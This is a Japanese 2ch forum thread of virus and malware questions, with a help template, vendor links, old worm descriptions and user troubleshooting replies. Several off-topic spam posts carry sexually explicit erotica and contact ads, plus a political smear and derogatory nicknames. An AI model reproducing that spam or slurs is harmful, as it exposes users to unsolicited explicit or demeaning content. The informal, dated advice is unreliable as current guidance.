【ウィルス情報質問　総合スレッド★Part47】

【ウィルス情報質問　総合スレッド★Part46】
http://pc11.2ch.net/test/read.cgi/sec/1224511070/

★質問用テンプレ★
【使用OS】　「」
【Microsoft Update（MU）の状態】　「」
【使用セキュリティソフトとバージョン】　「」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「」
【スパイウェア対策ソフト】　「」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「」
【ルータの有無】　「」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「」

■■ウィルス定義データは定期的に更新しよう■■
メーカー製パソコンにはウィルス監視ソフトがプリインストールされていることが多いです。
しかし、それだけでは万全ではありません。なぜなら、新しいウィルスが次々と登場するからです！
監視ソフトのデータベースに無ければ、新しいウィルスは検出できません。
そのため、ウィルス監視ソフトには 「データの更新」機能が用意されています。
監視ソフトのメーカーのコンピューターに接続し、最新のウィルス情報を手に入れることが重要なのです。

最近出来た新しいウィルスは、ウィルスデータを更新していなければ検出できません。
ウィルス監視ソフトを導入しているからと安心せず、必ず定期的にデータの更新を行ないましょう！
データ更新をしなければ、監視ソフトも役に立ちません。

■■ワクチンメーカーリンク集■■　　※ウィルス監視ソフトをワクチンソフトとも呼びます。

・トレンドマイクロ株式会社　http://www.trendmicro.co.jp/home/
　製品名：ウイルスバスター2007インターネットセキュリティ他
・株式会社シマンテック　http://www.symantec.com/region/jp/
　製品名：NortonAntiVirus、NortonInternetSecurity他
・VINTAGE SOLUTIONS, INC （バーテックスリンクより移管）http://www.vintage-solutions.com/Japanese/
製品名：ANTIDOTE （アンチドート）
・株式会社アラジンジャパン　http://www.aladdin.co.jp
　製品名：eSafeProtect
・コンピュータアソシエイツ株式会社　http://www.caj.co.jp/
　製品名：InocuLAN、CheyenneAntiVirus
・マカフィー株式会社　http://www.mcafee.com/jp/default.asp
　製品名：McAfee VirusScan
※プリインストール版のMcAfee VirusScanは、古いバージョンのデータ更新が打ち切られています。
　http://www.nai.com/japan/download/dat3end.asp　（リンク切れ）
　該当する場合は諦めてノートンかウィルスバスターを買いましょう。

■■ウィルスに感染しないために■■
★ウィルス監視ソフトを常駐させよう。
　→常に見張っていてくれる監視ソフトを導入すれば、あなたの負担もグッと減ります。
★知らない人から届いた添付ファイルに注意！
　→知らない人からファイルをもらう理由はありません。
★添付ファイルのファイル名だけで信用しない！
　→ファイル名だけでは中身は分かりません。
★知り合いからの添付ファイルでも、注意しよう！
　→アドレス帳に登録されている人に送信するウィルスもあるので注意が必要です。
★怪しいファイルをダウンロードしない。
　→怪しいファイルにウィルスが混入しているケースもよくあることです。
　　怪しいファイルや違法性のあるファイルはダウンロードしないようにしましょう。
■■ウィルスを発見・感染したら届け出を！ ■■
　もしウィルスを発見したり、感染してしまったら届け出をしましょう！
★IPAセキュリティセンター　コンピュータウイルスに関する届出について
　http://www.ipa.go.jp/security/outline/todokede-j.html

ボットにご注意！！
ボットとは、コンピュータを悪用することを目的に作られた悪性プログラムで、コンピュータに感染すると、
インターネットを通じて悪意を持った攻撃者（以下「攻撃者」という）が、あなたのコンピュータを外部から遠隔操作します。
感染すると、この攻撃者があなたのコンピュータを操り「迷惑メールの大量配信」、「特定サイトの攻撃」等の迷惑行為をはじめ、
あなたのコンピュータ内の情報を盗み出す「スパイ活動」など深刻な被害をもたらします。
この操られる動作が、ロボット（Robot）に似ているところから、ボット（BOT)と呼ばれています。

ボットに感染したコンピュータは、攻撃者が用意した指令サーバなどに自動的に接続され、
数十〜数百万台のボット感染コンピュータを従えた「ボットネットワーク」と言われる巨大ネットワークを形成します。
感染したコンピュータは、攻撃者からの命令を待ち受け、攻撃者が下す命令によって、攻撃者の意のままに数十〜数百万台の感染コンピュータが操られた結果、
フィッシング目的などのスパムメールの大量送信や、特定サイトへのDDoS攻撃などに利用され、とても大きな脅威となります。
このため、感染コンピュータを使用しているユーザーは、知らぬ間に犯罪の踏み台にされ、「被害者」であると同時に「加害者」にもなってしまうのです
〜サイバークリーンセンター より引用〜

サイバークリーンセンター　ボットとは
https://www.ccc.go.jp/bot/index.html
TREND MICRO　ボット系ウイルス対策Web
http://www.trendmicro.com/jp/security/web/archive/overview/bot.htm
インターネット上の新たな脅威「ボット(bot)」に気をつけろ！(上)
http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20041215/153889/?ST=security

W32.Sasser.Wormとその亜種にご注意！！
このウイルスは、MS04-011 の悪用を試みるワームです。
ランダムに選択された IPアドレスを持つコンピュータを走査し、拡散します。
亜種も出現しているので、 出現後にウイルス監視ソフトの定義ファイルを 更新していない場合、 ウイルススキャンで検出できません。
最新の定義ファイルに更新しましょう。
●症状
ネットワークの反応が遅く、 メッセージボックスのシャットダウンへのカウントダウンが始まります。
下に「lsass.exeの異常終了です」などと表示されます。
もし「RPCの異常終了です」ならば、次のBlaster/Welchiaです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。
●予防策
MS04-011のパッチを適用する。
http://www.microsoft.com/japan/technet/security/bulletin/MS04-011.mspx
●下記サイトにも情報が掲載されているので、参照して下さい。
Sasser ワームについてのお知らせ
http://www.microsoft.com/japan/security/incident/sasser.mspx
* Windows XP編
http://www.microsoft.com/japan/security/incident/sasser_xp.mspx
* Windows 2000編
http://www.microsoft.com/japan/security/incident/sasser_2k.mspx
* シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.worm.html
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.b.worm.html
* トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.B
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.C
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.D

Blaster / Welchia についての情報
このウイルスは、MS03-026 の悪用を試みるワームです。
●症状
ネットワークの反応が遅く、
シャットダウンへのカウントダウンが始まります。
メッセージボックスの下に「RPCの異常終了です」などと表示されます。
もし「lsass.exeの異常終了です」ならば、上のSasserです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。

Blasterにはいくつかの亜種があります。
マイクロソフトの解説ページ
http://www.microsoft.com/japan/technet/security/virus/blaster.asp
Blaster トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_MSBLAST.A
Blaster シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.blaster.worm.html
Welchia トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_NACHI.A
Welchia シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.welchia.worm.html

「W32/Netsky」ウイルスの亜種（Netsky.Q）に関する情報
http://www.ipa.go.jp/security/topics/newvirus/netsky-q.html
・差出人アドレスは詐称されます。
・件名：　以下のいずれかひとつ
　　* Mail Delivery System (＜受取人メールアドレス＞)
　　* Failure (＜受取人メールアドレス＞)
　　* Delivered Message (＜受取人メールアドレス＞)
　　* Deliver Mail (＜受取人メールアドレス＞)
　　* Delivery Error (＜受取人メールアドレス＞)
・添付ファイル名：　{ message、data、mail、msg } + { ランダムな数字、なし } + { .pif , .zip }
　　　例： date7386.pif 、 message19392.zip など

「W32/Mydoom」（別名：Novarg）ウイルスに関する情報
http://www.ipa.go.jp/security/topics/newvirus/mydoom.html
・差出人アドレス（From）：　コンピュータから取得できたアドレスを詐称。
・件名：（以下の候補のいずれかを選択）
　　* Error
　　* Status
　　* Server Report
　　* Mail Transaction Failed
　　* Mail Delivery System
　　* hello
　　* hi
　　[ 任意の文字列 ]
・本文：（以下の候補のいずれかを選択）
　　"test"
　　"The message contains Unicode characters and has been sent as a binary attachment."
　　"The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment."
　　"Mail transaction failed. Partial message is available."
　　[ 任意の文字列 ]　　[ 空白 ]
・添付ファイル名：　ランダムなアルファベット

「既出です」Q&A
Q1．ノートンを使っていたら、２ｃｈのログからウィルスを発見しました。
　　　ノートンをインストールしたら2chに書けなくなりました。
A1．ここを読みましょう。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

Q2．ウィルスを検出しましたが、どんなウィルスかわかりません
A2．各アンチウィルスベンダーのウィルス情報をまず確認しましょう。
・Symantec Security Response
http://www.symantec.com/region/jp/sarcj/vinfodb.html
・Trend Micro ウイルス情報
http://www.trendmicro.co.jp/vinfo/virusencyclo/default.asp
・McAfee ウイルス情報
http://www.mcafeesecurity.com/japan/security/vlibrary.asp

Q3.「世界の中心で生まれてきてすいません」という表示が出てきました 。
　　デスクトップの背景が蓮画像になってしまいます 。
A3．Winny関連ウィルスですので、Download板へどうぞ。
　　ブラクラに仕込まれている場合もあるので、心当たりがなくても一度参照して下さい。
Winnyを狙ったワーム・ニュイルス情報 Part67
http://tmp7.2ch.net/test/read.cgi/download/1209106638/

Q4．アンチウィルスソフトを持っていないのですが、無料のものはないですか？
A4．このスレでフリーのアンチウィルスソフトを取り扱っていますので確認して下さい。
フリーのアンチウイルスソフト最強決定戦！
http://pc11.2ch.net/test/read.cgi/sec/1202521143/

Q5．ホームページが変なページになってしまいます
A5．ウィルスではなくスパイウェアですので、こちらへどうぞ
【総合】スパイウェア予防駆除 Part14
http://pc11.2ch.net/test/read.cgi/sec/1198013147/

感染の疑いがあり自分のアンチウイルスソフトで反応がない場合
他社のオンラインスキャンをするとウイルスが検出されることがあります

カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ
http://www.kaspersky.co.jp/scanforvirus/
シマンテック・セキュリティチェック
http://www.symantec.com/region/jp/securitycheck/index.html
ウイルスバスターオンラインスキャン
http://www.trendmicro.co.jp/hcall/index.asp
トレンド　フレックス
http://trendflexsecurity.jp/free_security_tools/housecall_free_scan.php
削除可
BitDefender Online Scanner
http://www.bitdefender.com/scan8/ie.html
削除可
Panda ActiveScan
http://www.pandasoftware.com/activescan/jp/activescan_principal.htm
削除可
F-Secure オンラインスキャナ
http://www.f-secure.co.jp/v-descs/disinfestation.html
ウイルスチェイサー for WEB
http://www.viruschaser.jp/support_online.html

関連スレッド
無償オンラインスキャンpart3【ウイルス撲滅】
http://pc11.2ch.net/test/read.cgi/sec/1223797859/

※感染している場合ウイルスによっては外部と通信を行うものもありますので
パーソナルファイヤーウォール等でスキャンサイト以外の接続を遮断することをおすすめします

関連スレッド
フリーのアンチウイルスソフト Part18
http://pc11.2ch.net/test/read.cgi/sec/1223134635/
セキュリティ初心者質問スレッドpart113
http://pc11.2ch.net/test/read.cgi/sec/1222443322/
一番いいセキュリティソフトはなんだ!!Part58
http://pc11.2ch.net/test/read.cgi/sec/1221538386/
☆☆トロイの木馬☆☆5台目
http://pc11.2ch.net/test/read.cgi/sec/1215569127/
【PFW】フリーファイアウォールスレPart17
http://pc11.2ch.net/test/read.cgi/sec/1215307975/
【緊急!】ウイルス即行駆除方法【助けて!】Part3
http://pc11.2ch.net/test/read.cgi/sec/1214830385/
【分析】HijackThis【研究】
http://pc11.2ch.net/test/read.cgi/sec/1091346741/
毎日ｳｨﾙｽﾒｰﾙが送られてくるのですが･･2通目
http://pc11.2ch.net/test/read.cgi/sec/1086494732/
sasser【スタコラサッサ】sasser　Part２
http://pc11.2ch.net/test/read.cgi/sec/1083839516/
アンチウィルスソフトのウィルス誤検出
http://pc11.2ch.net/test/read.cgi/sec/1027753135/

関連スレは次スレに移行してる場合もあります。

質問する前に検索しましょう
http://www.yahoo.co.jp/
http://www.google.co.jp/

以上でテンプレ終わりです。
>10のリンクは確認してませんが、ご容赦を。

＊このスレにも常駐する荒らしの情報＊

このスレには、ESET製品（NOD32、ESS）の宣伝と、
それ以外の製品の印象を悪くする活動を必死に行う
古参の荒らしが常駐しています。

■NOD32厨雑音を扱った保存テンプレ集。
http://pc11.2ch.net/test/read.cgi/sec/1187681559/80-168

■自作PC板の雑音過去ログ（旧名　録音）
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html

■最悪板版の現スレ
http://mamono.2ch.net/test/read.cgi/tubo/1214474976/


>【軽快動作】NOD32【アンチウイルスソフト】
>http://pc8.2ch.net/test/read.cgi/sec/1112351342/
>
>482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp　[sage]　投稿日：2005/04/25(月) 10:45:08
>連絡事項
>
>NOD32をWindows Server 2003　で使っているユーザーへ
>現在sp1をあてると通信不能となり最悪な状況下だと、リブートの繰り返しとなりますから注意してください。
>
>開発元で、現在対策バージョンを作成中とのことです。


■現在、自作PC板ではアスペル（アスペルガー症候群）、
MACオタ、あっち糞、ダプオ（脱糞男）、GF9600GT厨などの
名で知られ、AMD中傷を行っています。

いつものようにローションたっぷりつけて前立腺を刺激しオナニーをしていると急に物寂しくなったのがきっかけでした。本物ってどんな感覚なのかなぁーって
良く思うようになりました。それまで、ハリガタやバイブを使って自分でやった事はたくさんありましたが、なぜか今回オナニーをして、急に本物の味に興味津々になってしまいました。
が、僕はホモじゃないし、男に恋愛感情を持ったことなんて一回もなかったからどうしたらいいかわかんなかった。だけど、いてもたっても
いられなくなったので、とりあえず出会い系の掲示板にカキコってみた。内容は、ホモじゃなくて恋愛感情とかまったくないけどセフレみたいな関係が欲しい
といった内容を書き込んだ。すると３０分くらいしてメールがきて、俺の要求をのんでくれた。ぶっちゃケその人も、男との恋愛はないらしい。
だけどアナルの締まりが好きらしくてメールをくれたらしいのだ。メールのやり取りをして場所は近くの温泉になった。そこの温泉には大浴場があって
簡単なカーテンつきの個室があるところなのでそこでやろうという話になった。当日、そこの温泉で待ち合わせをして、少しドキドキしながら待ってた。
これから生チンポに犯されると思うと少し不安だったがやはり期待もした。すると後ろから、「○○君ですか？」と声をかけられた。その人は少し織田祐二を
暗くした感じで背は１７０くらい、結構ゴツイ人でした。そして二人で話しながら着替え部屋に向かった。着替えている途中に相手を見てると、やっぱりゴツイ。。
スポーツかなんかやってた？と聞くと、ラグビーやってたらしい。。。どうりで・・。
して俺はというと、野球をやっていて筋肉はあるがどっちかというと普通体系。相手のチンポを見た瞬間正直ビビッた。通常時でも１８〜２０センチはあるだろう
デカマラだったのだ。。。このチンポが俺のアナルに・・うーん。。そして俺はというと・・・・泣通常で１４センチくらい・・
まぁ勃起したら大きくなるけど、通常時のチンポを見せるのは恥ずかしかった・・そして、いざ大浴場へ。中には年寄りが７〜８人、おっさんとかおにいさんが
１０人くらいで中高生とちびっこがちょろちょろいたくらい。結構人いるなぁと思いつつ、とりあえず空いてるシャワー室を探した。シャワー室があいてなかったので、

backDoor.Win32.MoSucker.30.cd
が検出されたました

VirusTotalってちょっと前は20MB以上もスキャンできたけど
今って20MB以上無理じゃないですか？
これって20MB以上行けたのは一時期大容量ファイル対応テストでもしてたんですか？
それとも20MB以上スキャンは月の対応数が決まってて俺のPCが対応数越えちゃったんですかね？

　　　　　　,,,:;;:::::::::::::::::::::::,,,
　　　　　:::::::::::::::,,,,,､､､::::::::::;;､
　　　　;;:::;;""　　　　 """;;::::;;
　　　　;::;　　　　　　　　　;;:::::;;
　ー〜"￣￣"-─-っ____　 ;:;γ;
　　　　　ヽ- ゝニニﾆつ　 ヾ;/. .|
　　"""￣ヾ､　ゝニニﾆフ｀　 |)丿
　ーヽ､＿ 〃⌒) 　.） 　　　　|ｿ
　　　　 |｀""~~. ^,,^ ヽ 　　　.|
　.　　　 |　　　,-三-､ 　　　ｲ
　　　　 ﾉヽ　　　""　 　 ／　ゝ
　　　　　　｀ヾ､____,,,,,, イ　　　　 ヽ
生竿でズボズボ掘り込まれるといい鳴きする超淫乱なウケ野郎っす。
職業はプロレスラー、短髪、ガッチリタイプ。

後楽園ホールのバックステージで羞恥心捨てて種汁便所になるぜ。

ケツマンに濃厚オイルたっぷり仕込んでケツ開いてノリのいいタチを待
つんで、俺の具合のいいケツマンを存分に掘り込んで、溜まった種汁を
奥へ思いっきりぶっ放してくれ。

デカマラ、バリタチ歓迎！ギンギンのマラをズッポリと咥え込むぜ。
何人にも廻されて種汁便所になりてぇ〜！
活きのいいタチ野郎、俺のケツを種汁で満ﾀﾝにしてあふれさせてくれ。
頼んだぜ！

質問させてください
先ほどヴァイラストタルでexeファイルのチェックをしたのですが、
結果2/39 (5.13%)で、
eSafe 7.0.17.0 2009.06.10 Win32.worm
Prevx 3.0 2009.06.11 High Risk Worm

二つのベンダーで反応がありました。
これはウイルスということなんでしょうか？
wormと出ているのでまったく安全ということは無さそうな気もしますが…。
インストール済みのbitとAVGでは無反応でした。
あいまいな感じなので、安全なのか、駄目なのか、断定するほうほうがありましたら教えて下さい

最近ネット使っててIE起動すると「VirusRemover2009」のページに誘導される事が
頻繁にあるんだけど、これって俺だけなんだろうか？
過去の例を見てみると「VirusRemover2008」は偽アンチウイルスソフトだったから
今回のも同類だと思うけど、流行し始めたのが最近なのか、ググっても殆どヒットしないんだよね。
結局、対策らしい対策も見つからず…　

リカバリ以外で対策方法知ってる人っている？

>>18 の補足です

使用しているＰＣの仕様は

Windows XP SP1
Pentium 4
1GB Memorie
HDD C : 6GB D : 2.6GB

IE6
光50M

>>19
うーん、とりあえずSP3にしたらどうかな？

>>18
SUPERAntiSpywareのDefinition Database(Version 3827 - 04-02-2009)に載ってるから使ってみたら？

18+19 です

>>20
ありがとう。
う〜ん、アップデートしたいのも山々なんだけど、ＳＰ３って確か
サイズが３ＧＢ前後でしたよね・・・。それがネックで、見送ってたんだよね。
現在空が６ＧＢだけど、残り３ＧＢ以下になってくると色々と問題が出てきそうで。

>>21
ありがとう、今ググってみました。こんなソフトがあったんですね。
Free版とPro版の２つあるみたいなので、とりあえず前者ので試してみます。
・・・しかし、どこで「VirusRemover2009」みたいなウイルスに感染したのか、
何度考えてもナゾです。　変なサイトとか見てた訳じゃないんですけどね(^ ^;)

＞Windows XP SP1
答えは出てるじゃないか。

h　　p://karapaia.livedoor.biz/archives/51438512.html
カラパイアっていうブログなんですがファイヤーフォックスだと画像がでないので
I・Eで訪問したらAVGに怒られたのですが、語検出かな？

質問ので上げさせていただきます。
【使用OS】　「vista」
【Microsoft Update（MU）の状態】　「恐らく最新」
【ルータの有無】　「有」
あまり怪しいところには行かないのでセキリティはファイアウォールとルータのみです。

パケット送受信量が異常に増えており、数時間ごとにルータが回線を遮断してしまいます。
ウィルスのせいかと思ったので、ニフティとカスペの完全スキャンをかけたのですがなにも検出されず。
今後、片っぱしからスキャンを掛けまくるべきでしょうか？それとも原因が想定とは違うのでしょうか？
どうかご意見お聞かせください。

昨日からPC立ち上げるとデスクトップに行く前に青い画面になって正常にシャットダウンされませんでした、となって、そのたびにセーフモードで復元ポイントをしてなおしてるのですが、次回開くとまた青い画面が出てしまいます・・・

どうしたらいいのでしょうか？

質問させて下さい。
Windows XP使ってます。
TV等の無料動画サイトパンドラ(韓国)のHPに行ったところ、
サイトにウィルスが見つかったという表示がでました。
使用セキュリティーソフトはNORTON360です。
すぐに閉じたのですが、いつもホームに使用している
BIGLOBEのURLが表示されているところのマークがなぜか
パンドラTVのアイコンになってることに気付きました。
とりあえず、システム復元したら、どの日付で実行しても
失敗します。相変わらず、BIGLOBEのマークにはＰのアイコンが。
これって感染したってことでしょうか？
過去に、見逃したドラマを見るために何度か行ってますが、
こんなことは初めてです。よろしくお願いします。

【使用OS】　WIn2000SP4
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】Avast 4.8
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　はい
【スパイウェア対策ソフト】　Avast
【スパイウェア対策ソフトの更新は定期的に行なっているか】　はい
【ルータの有無】　有

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
c:\winnt\lsass.exe

ググってもウィルスかどうか分からんです・・・

>>28
C:\WINNT\system32\lsass.exe
ここにあるexeは正規

>>29
system32以下にない（WINNTディレクトリ直下）場合はウィルス？

｢再び、盗聴教団の解明｣
　　山崎正友 氏　日新報道より

昭和40年代から・・・
　会員については詳細な名簿を作り
コンピュータで管理、家庭の内情、
家族の状況、経済状態まで掌握
票を入れるシンパも。さらに敵対者は
24時間監視、あらゆる嫌がらせ・・・

ttp://www.yamasaki-masatomo.com/books.htm

ttp://page.freett.com/sokagakkai_komei/katsudou/soka_tochoo.html

>>30
うん。
2000やXPでも同じだけど、元々systemやsystem32ディレクトリにあったファイルが
WindowsやWinnt直下にある場合は、ウイルス濃厚

system32フォルダにもlsassあるでしょ？

>>26

微妙にスレ違な質問だとは思いますが、一応緊急用として下記に
対策書いておきます(^ ^;)　ただし、Windows XP での手順なので、
それ以外のOSでは少々異なるかもしれないです。

コントロールパネル (もしくはデスクトップ) から「システム」を開く→
「詳細設定」タブを開く→「起動と回復」の項目から「設定」をクリック→
「システムエラー」の項目にある「自動的に再起動する」のチェックを外す→
「OK」をクリック→「OK」をクリック→PCを再起動

これで再起動後に青い画面にならければ成功。
ただし、青い画面になる原因は、PCを正常にシャットダウン出来なかった場合や
それ以外にもHDDが汚れていたり破損している、もしくはシステムに
異常がある場合にも起こるので、これでは完全に解決した訳ではないです。
まぁ、青い画面に入るとチェックに長い時間が掛かるので、とりあえずそれだけは
回避できるという程度ですね。

ちなみに、復元ポイントは使い過ぎない方が良いですよ。
完全に復元出来ないし、かえってややこしい状態になる可能性もあります。
しかも、これらの原因が万が一ウイルスによるものなら、復元と同時に
ウイルスまで復活させてしまう事も考えられるので、要注意です。

以上、経験談でしたm( _ _ )m

>>26

失礼。　>>33 ↑で違う方法を書いてしまいましたm( _ _ )m
所謂、「チェックディスク」が起動している状態だと思うので、
以下が正しい方法です。

※この操作は必ずAdministrator権限を持つユーザーでログオンしてから行って下さい。

１：「スタート」 ボタンをクリックし、「ファイル名を指定して実行」 をクリック
２：「名前」 欄に 「cmd」 と入力し 「OK」 ボタンをクリック
３：「コマンド プロンプト」 が表示されますので、 以下のコマンドを入力し
　「Enter」 キーを押す

chkntfs /x c:
（Ｄドライブへのチェックを停止したい場合は chkntfs /x c d: と入力）

ＰＣを再起動

これで起動時に指定したドライブのチェックを行わないようになる。
元の設定に戻すには、上記のコマンドのあとに /D オプションを追加して
再度chkntfsを実行すればOK。

ただし、これらはシステムを変更してしまうやり方なので、自己責任で
行って下さいませm( _ _ )m

>>33 の補足

>>33 の方法は、システムエラーが起きた場合にＰＣが勝手に落ちる現象を
回避する方法です。

・・・ま、何れにしても回避は回避なので、根本的な解決にはなってないっす。
これらの原因がウイルスやスパイウェアなどによるものという事も大いに考えられるので、
アンチウイルスソフトやオンラインスキャンでチェックしてみてから行った方が良いかもしれない。

俺は168*58*40 P16*4.5 太マラ デカ玉 パイパンのド変態M。
お互いにラバー全頭マスク、ハーネス、多重リング装着でM同士で狂いたい。
大きな鏡前に、お互いにM字開脚で縛り、玉同士を鎖で引っ張り合いながらの同士脱糞。
盛り上がったトロマン同士を密着させ内壁を絡ませるトロマン同士のディープキス。
強烈うなぎバイブ（40*400mmのWローター付）をトロマンが密着するまで挿入し、
ペニス同士を一本にギチギチに縛り、亀頭にローターバイブ固定、
更に太い蝋燭を固定し狂乱になったり。
その他、同時浣腸でのうなぎ連結、同時小便吹き上げ、同時玉ダンベル、同時乳首責めなどなど…。
赤いスポットライトや蝋燭の灯りの下で、M同士のド変態プレイで一緒に墜ちたい。
太マラ、パイパン、デカ乳首の長時間プレイに耐えられるド変態Mからの連絡を待っている。
一緒に鳴き狂いまくろうぜ！
都下在住
[身長/体重/年齢]
168*58*40

さっきVeohから落としたflv動画を再生していたら、
アウトルックが勝手に起動して再生していた動画が添付されたメールが作られていました。
avastは何も反応しませんでしたがウイルスでしょうか？

ttp://www1.axfc.net/uploader/Img/so/49591

何か踏んでしまったらしく上のようなポップアップがたまに出てきて、
perfect defenderというフェイクのセキュリティソフトを入れようとしてきます。
ウイルス検索でwin32〜というのは駆除したんですがそれ以降も出てくるんで困ってるんですが
消す方法はないでしょうか？

テンプレ埋めろよ・・・
とりあえずSUPERAniSpywareでも試してみては？

SUPERAntiSpywareだった・・・

>>39
そのソフト導入したらなんとか正常に戻りました、ありがとうございます。
しかしそれ以前にも何個かセキュリティソフト使ってみたけど対処できるソフトと
できないソフトの差がけっこうあるもんなんですね。

使用OS】　WIn2000SP4
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】ウィルスバスター２００６？
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　はい
【スパイウェア対策ソフト】　ウィルスバスター２００６
【スパイウェア対策ソフトの更新は定期的に行なっているか】　はい
【ルータの有無】　有

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
症状としては、ネットに繋ぐたびにブラクラ状態になってしまい
どうにもならないようです。中国人のエロ画像とかを大量に落としてくるようです。
スキャンしてもスパイウェアが引っ掛かるのですが、
ウィルスそのものは検出しないそうです。
知人のＰＣで、電話で相談を受けていますが、
自分ではよく分からなくて・・・

【使用OS】　win xp sp3」
【Microsoft Update（MU）の状態】　最新
【使用セキュリティソフトとバージョン】　ウィルスバスター2009
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　はい
【スパイウェア対策ソフト】　spybot
【スパイウェア対策ソフトの更新は定期的に行なっているか】　はい
【ルータの有無】　あり

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
先日ウィルスバスターでウィルス検索をかけたら、 TROJ_GEN.020413Sというウィルスが検地されました。(アンダーバーの箇所はドットかもしれません。下線が引かれており見分けられませんでした)
TrendMicroのウィルス情報でウィルス内容を検索しても見当たらず、ぐぐってみても見つけることができませんでした。
このウィルスはどのような危害を及ぼすのでしょうか。
TROJとなっているのでトロイの木馬ではないかと心配しています。(しかし、バスターの振り分けではトロイの木馬ではなく通常のウィルスとされていました)
また、ウィルスを駆除しようにも"最新のverにアップデートするか、対応されるまでお待ち下さい"と出てできませんでした。
現在は隔離しているのですが、このままの対処法で大丈夫でしょうか。

>>42
＞スキャンしてもスパイウェアが引っ掛かるのですが、
答えは出てるじゃないか。
バスターだからクッキーかもしれんが・・・。

【使用OS】　「XP home」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「カスペルスキー2009」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「毎日更新」
【スパイウェア対策ソフト】　「Spybot常駐、時々Ad-Awareで検索」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「有り」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「無し」


ttp://dnf.wikiwiki.jp/
アラド戦記というネトゲのwikiなんですが、TOPページでavast、ノートン2009が
Trojan.Dropperが仕掛けられていると検出すると、ゲームの本スレで話題が出たのですが
自分の使ってるカスペルスキー2009では無反応で、ノートンのオンラインスキャン
パスターのオンラインスキャン共に何も検出されません。
Ad-Aware、Spybotでも何も引っかかりませんでした。
本当にウイルスが仕掛けられてるのか、コードを貼って誤検出させてるのかが
分からないのですが、どう判断したらいいんでしょうか？

【使用OS】　「WindowsXP SP3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「VB2009」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【ルータの有無】　「有」

exeを解凍したら同じ画像がデスクトップに連続でコピーされ続け
その画像が何度も表示され操作できなくなりました。
Windowsビューアが表示されて消え表示されては消えの連続が高速でです。
セーフモードで起動してそのexeと画像は削除し復元もしてみたのですが治りません。
何というウィルス名か教えてください。宜しくお願いします。

　

>>47>>48

お前らは何がしたいんだ？？

>>42
とりあえずリカバリが一番手っ取り早いです。
中国製は駆除が面倒なので。

>>43
TROJ_GENなのでおそらく「Gneric」検出。
グレー状態、検体として提出すれば後日対応委されるかと
とりあえず、隔離されているなら、他には影響しないと思います。

>>45
http://oshiete1.goo.ne.jp/qa1978978.html
システムクリーナーが有効らしい。
ttp://esupport.trendmicro.co.jp/Pages/JP-24700.aspx

>>46
ウイルスというかスパイウエアっぽいが。
今の状態でNETに繋ぐのも危険なので、リカバリしては？

>>49
お前は何がしたいんだ？

【使用OS】　「Windows7」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「Avast」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【ルータの有無】　「有」

スタンバイの復帰に失敗して強制再起動すると下記画面が表示されます。

http://uproda.2ch-library.com/143906jiY/lib143906.jpg

某スレで質問したらウィルスらしいとのことでこちらで質問させていただきました。

>>53
うろ覚えですが結構厄介なマルウェアだったと記憶しています。
SUPERAntiSpywareで撃退出来たと思うのでインストールして試してみてください。

ただし、通常の正常なファイルの名前を変更したり等を行っている可能性が高いので。
駆除に成功してもリカバリーされる事をお勧めします。

>53
これは致命的なバグだな。

良くわからないんだけど
何故に初心者スレにWin７RCユーザーが来るのだろう……？

別にいいけど

あ、ここ違ったのね。
初心者スレと間違った。

【使用OS】　「XP」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ウィルスセキュリティZERO」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【ルータの有無】　「無し」

sens.dllがトロイの木馬っぽいのに
感染したのですが

今の所なにも困ってません
あんまり重要なものじゃなさそうなのでそのままsens.dllを削除しちゃっていいですか？

>>54
SUPERAntiSpywareでスキャンしたとろこCookieが100個ぐらい検出されて削除したのですが
